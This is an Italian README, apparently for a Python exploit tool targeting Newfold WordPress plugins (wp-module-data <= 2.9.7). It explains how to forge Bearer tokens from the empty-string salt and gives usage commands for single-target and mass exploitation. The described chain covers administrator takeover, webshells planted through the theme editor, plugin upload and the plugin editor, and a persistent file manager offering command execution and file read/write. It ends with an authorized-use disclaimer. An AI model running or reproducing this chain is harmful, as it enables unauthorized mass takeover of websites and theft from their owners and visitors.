Plugin Newfold (wp-module-data <= 2.9.7) non autenticato
Bypass di autenticazione non autenticato ed exploit RCE mirato ai plugin WordPress di Newfold che includono wp-module-data.
Questo strumento sfrutta una falla nella validazione del token Bearer nel modulo wp-module-data di Newfold. Quando un sito WordPress che utilizza un plugin Newfold interessato non è connesso a Hiive, HiiveConnection::get_auth_token() restituisce false. Questo valore viene passato attraverso strrev() e poi sottoposto a hash, riducendo il salt segreto alla costante pubblica:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Poiché ogni altro componente del payload sottoposto a hash (metodo HTTP, URL della richiesta, corpo della richiesta, timestamp) è completamente controllato dall'attaccante, un token Bearer valido può essere calcolato offline. Il filtro vulnerabile viene eseguito su rest_authentication_errors, quindi un token falsificato autentica il chiamante come per l'intera REST API di WordPress, incluse le route principali. Tale accesso viene poi sfruttato per ottenere l'esecuzione completa di codice in remoto.
| Plugin / Modulo | Versioni interessate | Corretto |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
Il rilevamento copre anche gli slug dei plugin di WordPress.org wp-plugin-web e crazy_blog.
In vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
Su un sito non connesso, strrev(false) viene convertito in strrev('') che restituisce '', e il salt diventa il noto hash della stringa vuota. Ogni altro input della catena di hash è controllato dall'attaccante, quindi il token è completamente prevedibile.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me e ispezionando i ruoli404.php / index.php.fm.php persistente opzionale rilasciato nella webrootwp-login.php) e login classico tramite form wp-login.phprequestsurllib3 (opzionale, solo per sopprimere gli avvisi TLS)Installa le dipendenze:
pip install requests urllib3
Rilevamento in sola lettura e verifica del bypass:
python3 exploit.py -u https://target.example
Catena completa fino a una shell persistente:
python3 exploit.py -u https://target.example --mode rce
Reimposta la password del primo amministratore invece di crearne uno nuovo:
python3 exploit.py -u https://target.example --mode rce --takeover
Solo controllo su una lista di target:
python3 exploit.py --list targets.txt
Catena completa su ogni host vulnerabile (richiede opt-in esplicito):
python3 exploit.py --list targets.txt --mode rce --apply-rce
Pre-filtra usando sonde sulle risorse statiche prima di toccare la REST API:
python3 exploit.py --list targets.txt --brand-filter
Interrompi dopo i primi N host vulnerabili:
python3 exploit.py --list targets.txt --stop-after 5
Riprendi un'esecuzione precedente:
python3 exploit.py --list targets.txt --resume
| Flag | Descrizione |
|---|---|
-u, --url | URL base di un singolo target |
--list | File contenente un URL di target per riga |
--mode | check (solo rilevamento) o rce (catena completa); predefinito check |
--takeover | Reimposta la password del primo admin invece di creare un nuovo admin |
--output | Percorso di output JSONL per la modalità di massa; predefinito cve_2026_80099_results.jsonl |
--vuln-list | Lista di soli URL degli host vulnerabili; predefinito vuln.txt |
--threads | Numero di worker per la modalità di massa; predefinito 20 |
--timeout | Timeout delle richieste in secondi; predefinito 15 |
--fast-timeout | Timeout delle sonde veloci in secondi; predefinito 6 |
--retries | Tentativi di retry per richiesta; predefinito 1 |
--proxy | URL del proxy HTTP(S) |
--all-out | Scrivi tutte le righe della modalità di massa, non solo quelle vulnerabili |
--apply-rce | Esegui la catena RCE sugli host vulnerabili in modalità di massa |
--brand-filter | Pre-filtra usando le risorse statiche dei plugin Newfold |
--stop-after | Interrompi la scansione di massa dopo N host vulnerabili; 0 significa esegui tutto |
--quiet | Disabilita le righe di avanzamento per target |
--resume | Accoda all'output e salta i target già presenti |
Una volta confermato un contesto amministratore, lo strumento tenta tre tecniche in ordine:
Shell tramite editor dei temi — scrive un piccolo payload PHP nel 404.php o index.php del tema attivo. Il payload viene attivato richiedendo un URL inesistente (per 404.php) o la radice del sito (per index.php).
Shell tramite caricamento di plugin — costruisce uno ZIP contenente un plugin minimale, lo carica tramite wp-admin/update.php?action=upload-plugin e accede direttamente al file PHP del plugin.
Catena tramite editor di plugin inattivo — elenca i plugin tramite la REST API, seleziona uno inattivo, scrive una cmd-shell nel suo file principale tramite plugin-editor.php, lo attiva tramite PUT /wp/v2/plugins/<slug>, attiva la shell su qualsiasi URL del frontend, rilascia .fm.php nella webroot, quindi disattiva il plugin e ripristina il file originale. Questo percorso è progettato per sopravvivere a host che bloccano l'editor dei temi, bloccano l'accesso diretto a wp-content o annullano le modifiche tramite controlli di integrità loopback.
In caso di successo, un file manager .fm.php persistente viene rilasciato nella webroot. Supporta:
?cmd=<shell command>?cat=<path> per leggere un file?put=<path>&data=<base64> per scrivere un file?ls=<path> per elencare una directorycve_2026_80099_results.jsonl — record JSONL per ogni target scansionato. Le voci vulnerabili includono vuln: true, admin, admin_id e, quando l'RCE riesce, shell (l'URL del file manager o della shell rilasciati).vuln.txt — un URL per riga per ogni target vulnerabile o con shell.trust_env = False per evitare di far trapelare le scansioni di massa attraverso proxy locali.Url::getCurrentUrl(). La richiesta viene preparata prima e il token viene derivato dall'URL preparato.json_encode, inclusi gli slash in avanti con escape, l'escaping non-ASCII \uXXXX e le coppie surrogate UTF-16 per i caratteri astrali, così il payload sottoposto a hash corrisponde byte per byte.401 di solito significa che il target è corretto (modulo >= 2.9.8), che il sito è connesso a Hiive (token reale, salt sconosciuto) o che un intermediario rimuove l'header Authorization. 403 di solito indica che un altro filtro rest_authentication_errors è intervenuto.Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e ricerca. Usalo esclusivamente contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a eseguire test. L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni e può comportare severe sanzioni civili e penali. L'autore non si assume alcuna responsabilità per uso improprio o danni causati da questo software.